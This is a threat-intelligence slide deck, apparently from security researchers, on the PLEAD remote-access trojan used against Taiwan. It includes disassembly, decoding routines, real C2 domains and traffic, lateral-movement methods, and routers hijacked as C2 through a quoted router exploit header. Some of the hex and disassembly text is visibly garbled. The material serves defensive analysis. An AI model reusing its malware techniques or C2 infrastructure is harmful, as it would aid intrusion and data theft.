PLEAD

The Phantom of routers
Who we are

- Charles & Zha0
- APT Research @ Team T5
- Malware analysis, Cyber Threat Tracking
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
Introduction

• PLEAD is a RAT used by an APT group targeting Taiwan specifically.
  – developed purely in shellcode
  – adopting skillful techniques to obfuscate itself

• The actors use several RATs at the same time

• They have excellent tools for their post exploitation job.

• Routers were leveraged to hide their footprints
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
PLEAD began

- The 1\textsuperscript{st} public report about PLEAD was released by trendmicro in 2014, it was named PLEAD in that report:

- RTLO tricks were used by them to target TW Gov in that report.
- The only public report about PLEAD so far.
PLEAD began

- The oldest sample we’ve seen could be dated back to 2011:

- RTLO was also used then 😊
PLEAD began

• We named it “PLEAD” from its instructions:

```assembly
004037C4  55  PUSH    EBP
004037C5  8BEC  MOV      EBP,ESP
004037C7  6A 00  PUSH    0
004037C9  8B55  08  MOV     EDX,DWORD PTR SS:[EBP+8]
004037CC  85D2  TEST     EDX,EDX
004037CE  74 6F  JE       SHORT dumped.0040383F
004037D0  89D0  0C 00  CMP     BYTE PTR SS:[EBP+1],0
004037D4  7E 5D  JLE      SHORT dumped.00403833
004037D6  C645  FC 03  CMP     BYTE PTR SS:[EBP-4],3
004037DA  8A0A  MOV      CL,BYTE PTR DS:[EDX]
004037DC  80F9  43  CMP      CL,43  'C'
004037DF  74 2A  JE       SHORT "dumped.cmd_proxy"
004037E1  42  INC      EDX
004037E2  52  PUSH     EDX
004037E3  80F9  41  CMP      CL,1  'A'
004037E6  74 1B  JE       SHORT "dumped.cmd_sleep"
004037E8  80F9  4C  CMP      CL,4C  'L'
004037EB  74 25  JE       SHORT "dumped.cmd_listdir"
004037ED  80F9  45  CMP      CL,45  'E'
004037F0  74 27  JE       SHORT "dumped.cmd_upload"
004037F2  80F9  50  CMP      CL,50  'P'
004037F5  74 29  JE       SHORT "dumped.cmd_delete"
004037F7  80F9  47  CMP      CL,47  'G'
004037FA  74 2B  JE       SHORT "dumped.cmd_exec"
004037FC  80F9  44  CMP      CL,44  'D'
004037FF  74 2D  JE       SHORT dumped.0040382E
00403801  EB 30  JMP      SHORT dumped.00403833
00403803  FF56  10  CALL     DWORD PTR DS:[ESI+10]
```
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
PLEAD MALWARE FAMILIES
PLEAD Analysis

Process Injection (iexplorer.exe)
PLEAD Analysis

Config Block Decoder
PLEAD Analysis

• PLEAD Traffic Pattern:

\[(GET|POST)\s/\d{4}/\w/d+\.\(js|asp|jpg|css\)\sHTTP/\d/\d\]

Content Data - Comment CMD: A,C,P,G,E,L,D
GET XOR BLOCK (0...0x0D)
POST XOR BLOCK (0...0x0B)

– The 1st character of content data would be the command (xor with 0x00)
– following immediately with encoded parameter of the command (xor with 1 byte key)
PLEAD Analysis

- PLEAD Traffic Pattern:

```
GET /0021/b3484515.jpg HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: tdupdates.freeddns.com
Cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4
Connection: close

L: cmd_listdir
Listing command of C:\ and return the result
```
PLEAD Downloader ➔ PLEAD/RACKEY

PLEAD MALWARE FAMILIES
PLEAD Downloader Analysis

- Shellcode (encoded) again!!
Two bytes (ASCII) to 1 byte (binary) encoding

PLEAD Downloader Analysis

http://dcns.chickenkiller.com:80/
dyfwmine.jpg
PLEAD Downloader Analysis

- Network traffic
**PLEAD Downloader Analysis**

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex Dump</th>
<th>ASCII</th>
</tr>
</thead>
<tbody>
<tr>
<td>00146322</td>
<td>F9 23000000</td>
<td></td>
</tr>
<tr>
<td>00146327</td>
<td>52</td>
<td></td>
</tr>
<tr>
<td>00146328</td>
<td>290224</td>
<td></td>
</tr>
<tr>
<td>0014632B</td>
<td>50</td>
<td></td>
</tr>
<tr>
<td>0014632C</td>
<td>010C24</td>
<td></td>
</tr>
<tr>
<td>0014632F</td>
<td>51</td>
<td></td>
</tr>
<tr>
<td>00146333</td>
<td>50</td>
<td></td>
</tr>
<tr>
<td>00146331</td>
<td>88 CFCFFFF</td>
<td>CALL 00146005</td>
</tr>
<tr>
<td>00146335</td>
<td>8846 10</td>
<td></td>
</tr>
<tr>
<td>00146339</td>
<td>684E 6C</td>
<td></td>
</tr>
<tr>
<td>0014633C</td>
<td>6859 3C</td>
<td></td>
</tr>
<tr>
<td>0014633E</td>
<td>8C53</td>
<td></td>
</tr>
<tr>
<td>00146341</td>
<td>03C2</td>
<td></td>
</tr>
<tr>
<td>00146343</td>
<td>2BC4</td>
<td></td>
</tr>
<tr>
<td>00146345</td>
<td>E8 0D10000C</td>
<td>CALL 0014602A</td>
</tr>
<tr>
<td>0014634A</td>
<td>3B47 20</td>
<td>CMP EAX, EDI+20</td>
</tr>
<tr>
<td>0014634D</td>
<td>74 09</td>
<td>J E S H O R T 00146555</td>
</tr>
<tr>
<td>0014634F</td>
<td>68C7</td>
<td>MOV EAX, EDI</td>
</tr>
<tr>
<td>00146351</td>
<td>E8 0C10000C</td>
<td>CALL 00146005</td>
</tr>
<tr>
<td>00146355</td>
<td>EB 10</td>
<td>J EM U L A T E 00146335</td>
</tr>
<tr>
<td>00146358</td>
<td>F7</td>
<td></td>
</tr>
</tbody>
</table>

**RC4 Key**

**Shellcode**

**RC4(Shellcode RC4 (Reflective DLL))**
# PLEAD Downloader Analysis

The image shows a screenshot of a debugger window analyzing the offset and bytes of a file named `dyfwmine.data.bin`. The analysis is focused on identifying patterns and offsets within the file. The window highlights specific offsets and bytes that are of interest, such as those indicated by red boxes. The analysis includes the Shift 20h byte and Fill MZ Header operations.

### Table Analysis

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>AE</td>
<td>84</td>
<td>69</td>
<td>F3</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000010</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000020</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000030</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000040</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000050</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000060</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000070</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000080</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>

---

The highlighted offsets and bytes suggest a focus on specific parts of the file that might be important for understanding its structure or functionality. The Shift 20h byte and Fill MZ Header operations indicate potential modifications or validations within the file's headers.
PLEAD Loader → PLEAD/RACKKEY

PLEAD MALWARE FAMILIES
PLEAD Loader Analysis
## PLEAD Loader Analysis

### Constructing shellcode in memory

```assembly
.text:00401000  sub_401000  proc near
            ; CODE XREF: WinMain(x,x,x,x)+2F34p
            ; StartAddress+464p
.text:00401000  arg_0     = dword ptr 4
.text:00401000  arg_4     = dword ptr 8
.text:00401000  BB 4C 24 08
.text:00401004  BB 54 24 04
.text:00401008  56
.text:00401009  BB F1
.text:0040100B  57
.text:0040100C  33 C0
.text:0040100E  BB FA
.text:00401010  C1 E9 02
.text:00401013  F8 AB
.text:00401015  BB CE
.text:00401017  B3 E1 03
.text:0040101A  F3 AA
.text:0040101C  C7 02 52 FC A2 73
.text:00401022  C7 42 04 F2 60 BB 7E
.text:00401029  C7 42 08 35 14 47 47
.text:00401030  C7 42 0C AB 5A E7 36
.text:00401037  C7 42 10 A4 3E 79 C1
.text:0040103E  C7 42 14 6B OE 7F 18
.text:00401045  C7 42 18 FC 45 4A 06
.text:0040104C  C7 42 1C D1 FB 3F FB
.text:00401053  C7 42 20 5B 2C 61 ED
.text:0040105A  C7 42 24 F4 75 A7 83
.text:00401061  C7 42 28 B3 82 60 12
.text:00401068  C7 42 2C 23 C6 42 97
.text:0040106F  C7 42 30 19 E4 14 A9
.text:00401076  C7 42 34 73 C4 89 08
.text:0040107D  C7 42 38 AC 6F C1 03
.text:00401084  C7 42 3C 4F AC 5B E8
            mov    ecx, [esp+arg_4]
            mov    edx, [esp+arg_0]
            push   esi
            mov    esi, ecx
            push   edi
            xor    eax, eax
            mov    edi, edx
            shr    ecx, 2
            rep     stosb
            mov    ecx, esi
            and    ecx, 3
            rep     stosb
            mov    dword ptr [edx], 73A2FC52h
            mov    dword ptr [edx+4], 7EB6602Fh
            mov    dword ptr [edx+8], 47471435h
            mov    dword ptr [edx+8Ch], 36E75A8Bh
            mov    dword ptr [edx+10h], 0C1793EAbh
            mov    dword ptr [edx+14h], 187F8E6Bh
            mov    dword ptr [edx+18h], 0A64A45FCh
            mov    dword ptr [edx+1Ch], 0F13F1D01h
            mov    dword ptr [edx+20h], 0E61235Bbh
            mov    dword ptr [edx+24h], 83A775F4h
            mov    dword ptr [edx+28h], 126D8238h
            mov    dword ptr [edx+2Ch], 9742C623h
            mov    dword ptr [edx+30h], 0A914E419h
            mov    dword ptr [edx+34h], 0D889C473h
            mov    dword ptr [edx+38h], 3C16F0Ch
            mov    dword ptr [edx+3Ch], 0EB5A0C4Fh
```
PLEAD Loader Analysis

```
sub_5 proc near
    push 0C2Ch
    push dword ptr [esp+1]
    push 20h ;
    call loc_1C
    push eax
    call RC4_Crypt
    ret
sub_5 endp

loc_1C:
    call sub_D1
```

```
; SUB Routines

rc4_encryption:
    ; RC4 encryption algorithm
    ;......
```

PLEAD Loader Analysis

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>3E</td>
<td>98</td>
<td>C2</td>
<td>8A</td>
<td>BB</td>
<td>01</td>
<td>00</td>
<td>00</td>
<td>35</td>
<td>39</td>
<td>2E</td>
<td>31</td>
<td>35</td>
<td>32</td>
<td>2E</td>
</tr>
<tr>
<td>00000010</td>
<td>39</td>
<td>34</td>
<td>2E</td>
<td>31</td>
<td>33</td>
<td>38</td>
<td>2C</td>
<td>63</td>
<td>00</td>
<td>3B</td>
<td>98</td>
<td>C2</td>
<td>8A</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000020</td>
<td>AC</td>
<td>03</td>
<td>58</td>
<td>07</td>
<td>05</td>
<td>01</td>
<td>01</td>
<td>03</td>
<td></td>
<td>59</td>
<td>45</td>
<td>53</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>00000030</td>
<td>2D</td>
<td>46</td>
<td>39</td>
<td>42</td>
<td>45</td>
<td>43</td>
<td>39</td>
<td>2E</td>
<td>41</td>
<td>64</td>
<td>6D</td>
<td>69</td>
<td>6E</td>
<td>69</td>
<td>73</td>
</tr>
<tr>
<td>00000040</td>
<td>72</td>
<td>61</td>
<td>74</td>
<td>6F</td>
<td>72</td>
<td>00</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

RC4 key

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>7B</td>
<td>1E</td>
<td>8B</td>
<td>0C</td>
<td>49</td>
<td>F5</td>
<td>DF</td>
<td>C3</td>
<td>80</td>
<td>CF</td>
<td>D2</td>
<td>4C</td>
<td>5B</td>
<td>7C</td>
<td>5D</td>
</tr>
<tr>
<td>00000010</td>
<td>A4</td>
<td>D2</td>
<td>ED</td>
<td>3E</td>
<td>50</td>
<td>66</td>
<td>E0</td>
<td>3A</td>
<td>CD</td>
<td>CC</td>
<td>7E</td>
<td>3D</td>
<td>FC</td>
<td>4B</td>
<td>43</td>
</tr>
<tr>
<td>00000020</td>
<td>D6</td>
<td>26</td>
<td>04</td>
<td>6A</td>
<td>55</td>
<td>BF</td>
<td>FF</td>
<td>82</td>
<td>65</td>
<td>02</td>
<td>B6</td>
<td>19</td>
<td>FF</td>
<td>5E</td>
<td>12</td>
</tr>
<tr>
<td>00000030</td>
<td>9A</td>
<td>72</td>
<td>2D</td>
<td>AD</td>
<td>12</td>
<td>25</td>
<td>29</td>
<td>98</td>
<td>B9</td>
<td>20</td>
<td>66</td>
<td>81</td>
<td>C6</td>
<td>04</td>
<td>22</td>
</tr>
<tr>
<td>00000040</td>
<td>BF</td>
<td>BB</td>
<td>58</td>
<td>38</td>
<td>86</td>
<td>FF</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Offset</th>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
<th>8</th>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
<th>F</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>6F</td>
<td>1E</td>
<td>A2</td>
<td>DD</td>
<td>CE</td>
<td>43</td>
<td>B4</td>
<td>1B</td>
<td>79</td>
<td>88</td>
<td>76</td>
<td>E3</td>
<td>0F</td>
<td>D1</td>
<td>6E</td>
</tr>
<tr>
<td>00000010</td>
<td>22</td>
<td>DA</td>
<td>8D</td>
<td>OB</td>
<td>44</td>
<td>BB</td>
<td>71</td>
<td>61</td>
<td>68</td>
<td>37</td>
<td>2E</td>
<td>AC</td>
<td>ED</td>
<td>C6</td>
<td>85</td>
</tr>
<tr>
<td>00000020</td>
<td>C4</td>
<td>FD</td>
<td>51</td>
<td>00</td>
<td>1A</td>
<td>04</td>
<td>3B</td>
<td>00</td>
<td>DC</td>
<td>B3</td>
<td>15</td>
<td>00</td>
<td>46</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00000030</td>
<td>7D</td>
<td>F3</td>
<td>10</td>
<td>ED</td>
<td>D0</td>
<td>B3</td>
<td>15</td>
<td>00</td>
<td>52</td>
<td>00</td>
<td>00</td>
<td>FF</td>
<td>FF</td>
<td>FF</td>
<td>FF</td>
</tr>
<tr>
<td>00000040</td>
<td>E8</td>
<td>FD</td>
<td>51</td>
<td>00</td>
<td>73</td>
<td>05</td>
<td>3B</td>
<td>00</td>
<td>A4</td>
<td>00</td>
<td>00</td>
<td>00</td>
<td>A0</td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
EnCOMSecurity/EnableCOMS

<table>
<thead>
<tr>
<th>Entry Point</th>
<th>Ord</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>10001470h</td>
<td>1</td>
<td>EnCOMSecurity</td>
</tr>
<tr>
<td>1000141Dh</td>
<td>2</td>
<td>EnableCOMS</td>
</tr>
<tr>
<td>10003148h</td>
<td>3</td>
<td>Result</td>
</tr>
</tbody>
</table>
EnCOMSecurity/EnableCOMS
Analysis

```
runDll32.exe "%APPDATA%\Microsoft\pdfupd.dll", EnCOMSecurity
{7288fcda-571e-4eb3-8c2e-97c2fd10ce2e}
```
EnCOMSecurity/EnableCOMS
Analysis

• Decoding the shellcode

```
.text:10001314
.text:10001314
.text:10001314
.text:10001314 8B C1
.text:10001316 6A 02
.text:10001318 2B 44 24 10
.text:1000131C 5F
.text:1000131D 99
.text:1000131E F7 FF
.text:10001320 8A 01
.text:10001322 85 D2
.text:10001324 8A D0
.text:10001326 74 08
.text:10001328 C9 EA 00
.text:1000132B C9 EB 05
.text:1000132E EB 06
.loc_10001314: mov eax, ecx
.push 2
.sub eax, [esp+8Ch+arg_0]
.pop edi
.cdq
.idiv edi
.mov al, [ecx]
.test edx, edx
.mov dl, al
.jz short loc_10001330
.shr dl, 3
.shl al, 5
.jmp short loc_10001335
.loc_10001330: shr dl, 5
.shl al, 3
.loc_10001336: or dl, al
.mov [ecx], dl
.inc ecx
.dec esi
.jnz short loc_10001314
.pop edi
.pop esi
```
EnCOMSecurity/EnableCOMS
Analysis

Injecting to iexplore.exe
EnCOMSecurity/EnableCOMS

Analysis

- Random URI from Dict.
  http://mail.yahoo.com/

  Console
  Tables

  GET http://%s%s?%x=%d|d
  POST http://%s%s?%x=%d|d
  GET http://%s:%d%s?%x=%d|d
  POST http://%s:%d%s?%x=%d|d

  GET %s%x=%d|d
  POST %s%x=%d|d

  Content-Length: %d

  Content-type: application/x-www-form-urlencoded

  Cookie: %xid=%s
  Cookie: %xid=%s

  <Dir error %d>
  %d-%02d-%02d %02d:%02d
EnCOMSecurity/EnableCOMS Security

Analysis

• Network traffic

GET /book/adl/avi?57a5=-2131465093I10042437 HTTP/1.1
Accept: */*
Referer: http://127.0.0.1/
User-Agent: Microsoft BITS/6.7
Accept-Encoding: identity
Host: 127.0.0.1
Connection: Keep-Alive
Cookie: 1bid=v7oury8CMc2y1lUM/Ao2tPzgMYcdSR5RSosz/5CjtzprRqFwHihY+oFTqsBMTb1WFdiQg2wjtK9+oBz+AEfb6OGqhh/Yzg+anFs2pYFoUgCa5q35no3TNg4yTkCa7EF9P1zC0QKGJ3ypt9pN5111n/gAv10k/MGJORLhAGgydM6ksPa7mPYQBDh056ObhCsdJkJ0

GET /a/tw/software?4a76=-2132781718I11359062 HTTP/1.1
Accept: */*
Referer: http://127.0.0.1/
Accept-Language: zh-tw
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: 127.0.0.1:443
Connection: Keep-Alive
Cookie: 57id=v7oury8CMc2y1lUM/Ao2tPzgMYcdSR5RSosz/5CjtzprRqFwHihY+oFTqsBMTb1WFdiQg2wjtK9+oBz+AEfb6OGqhh/Yzg+anFs2pYFoUgCa5q35no3TNg4zHkCal7Ea9P1zC0QKGJ3ypt9pN5111nGgAV8067MGJORLhAGgydX6kIPXKWFboFPdzKuaw956bS00

Change order(Base64(Encode(RC4_Variable(data)))))
Diskless PLEAD

PLEAD MALWARE FAMILIES
Diskless PLEAD malware

- Hacking Team Tool – CVE-2015-5119

32 Bit payload – PLEAD
- Exist only in memory
- Hard to detect
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
Lateral Movement

• After compromise
• Leveraging Anti-Virus products to deploy trojan:
  - MD5=59fd59c0a63ccef421490c9fac0*****  
    2011-09-02 xx:xx:xx UTC
  - MD5=ad4ec04ea6db22d7a4b8b705a1c*****  
    2012-07-13 xx:xx:xx UTC
  - MD5=5b759a7e9195247fa2033c8f33e*****  
    2014-09-05 xx:xx:xx UTC

Tools evolved overtime
Lateral Movement

• Leveraging Asset Management System to deploy trojan:
  – MD5=61020085db3ff7ccf6243aa1133*****  
    2010-09-20 xx:xx:xx UTC
  – MD5=85b219a4ab1bcdbf5a3ac27f8bf*****  
    2012-06-20 xx:xx:xx UTC
  – MD5=da9e74cfaccf867c68d5a9cceb*****  
    2014-10-15 xx:xx:xx UTC
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GDrive Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
GD\textsubscript{rive} Rat

- GD\textsubscript{rive} Rat – a data exfiltration tool discovered in late 2014
  - implanted in victim hosts to automatically upload docs
  - leveraging google drive APIs, stolen data were stored on google drive storage registered by actors
  - all traffic is encrypted, only connections to google can be seen
  - almost impossible to detect for IDS/IPS
  - GD\textsubscript{rive} Rat was discovered by our colleague 😊
GD\text{	extsc{rive}} Rat

- **Links of GD Rat to PLEAD:**

  **DXXXXXXX**
  - 2014-10-22 15:24:01 C:\PROGRAM FILES (X86)\JAVA\JRE7\BIN\JAVAS.EXE
  - 2014-10-22 14:25:58 C:\PROGRAM FILES (X86)\XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE

  **JXXXXX**
  - 2014-10-23 16:51:58 C:\PROGRAM FILES (X86)\GOOGLE\COMMON\GOOGLE UPDATER\CHROME.EXE
  - 2014-10-23 14:34:04 C:\PROGRAM FILES (X86)\XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE

  **RXXXXX**
  - 2014-10-24 15:42:09 C:\PROGRAM FILES (X86)\COMMON FILES\JAVA\JAVA UPDATE\JAVAS.EXE
  - 2014-10-24 15:13:52 C:\PROGRAM FILES (X86)\XXXXXXXXXX\XXXXXXXXXX CLIENT\PATCH64.EXE

  ... 

Logs collected in an IR case in TW
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
Phantom in routers

- Compromised **servers** have been used as C2s in attacks for decades.
- Since 2014, we’ve seen some attacks in Taiwan, whose C2 IPs were **dynamic IP addresses**.
Phantom in routers

• One attack targeting TW in March 2015 from PLEAD group, using the following C2:
  xxxx.chickenkiller.com

• One interesting alias was observed:
  CNAME nxxxx1.asuscomm.com
Phantom in routers

- Port scanning result showing it to be an ASUS device:

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>80/tcp</td>
<td>open</td>
<td>Microsoft IIS httpd</td>
<td>6.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>http-methods:</td>
<td>OPTIONS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>TRACE GET HEAD POST</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Potentially risky</td>
<td>TRACE</td>
</tr>
<tr>
<td></td>
<td></td>
<td>methods:</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>http-title:</td>
<td>\xAB\xD8\xBAc\xA4\xA4</td>
</tr>
<tr>
<td>443/tcp</td>
<td>closed</td>
<td>https</td>
<td></td>
</tr>
<tr>
<td>1723/tcp</td>
<td>open</td>
<td>pptp linux (Firmware: 1)</td>
<td></td>
</tr>
<tr>
<td>8443/tcp</td>
<td>open</td>
<td>ssl/http Linksya wireless-G WAP http config (Name RT-N66U)</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>http-auth:</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>HTTP/1.0 401 Unauthorized</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Basic realm=RT-N66U</td>
<td></td>
</tr>
</tbody>
</table>
Phantom in routers

- **Remote code exploit** (CVE-2013-4659) for the device could be found on internet:

```plaintext
# Title**************ASUS RT-AC66U Remote Root Shell Exploit - acsd param command
# Discovered and Reported*June 2013
# Discovered/Exploited By*Jacob Holcomb/Gimpy and Jacob Thompson
#
# Software Vendor********http://asus.com
# Software**************acsd wireless service (Listens on TCP/5916)
# Firmware Version********3.0.0.4.266 (Other versions were not tested and may be vulnerable)
# CVE**************ASUS RT-AC66U Multiple Buffer Overflows: CVE-2013-4659
#
# Overview:
# The ASUS RT-AC66U contains the Broadcom ACSD Wireless binary that is vulnerable to multiple
# Buffer Overflow attacks.
#
# Multiple overflows exist in the following software:
#
# - Broadcom acsd - Wireless Channel Service (autochannel&param, autochannel&data, csscan&ifname
# commands)
#```
Phantom in routers

• With the help of our friends, we got some insight to the compromised device:

ASUS provides DDNS service for its routers

Vpn account added by actors
Phantom in routers

- Asus is not the only one being abused
Phantom in routers

- We conducted a simple statistics of 8 Class B Net-Blocks in Taiwan:

  Vulnerable: 10140 / Total: 91405 IP

  11.09% vulnerable!!
Agenda

• Introduction
• PLEAD began
• PLEAD malware analysis
• PLEAD lateral movement
• GD Rat: Hiding behind PLEAD?
• The phantom of routers
• Conclusion
Conclusion

• PLEAD has targeted TW for at least 5 years.
• Phantom:
  – Several RATs, developed in shellcode
  – Diskless RAT used with Hacking Team tool
  – Excellent 0day exploits for post-exploitation
  – Gdrive RAT might be their data exfiltration tool
  – Routers, embedded devices are used as C2
Q & A

Charles@teamt5.org
Zha0@teamt5.org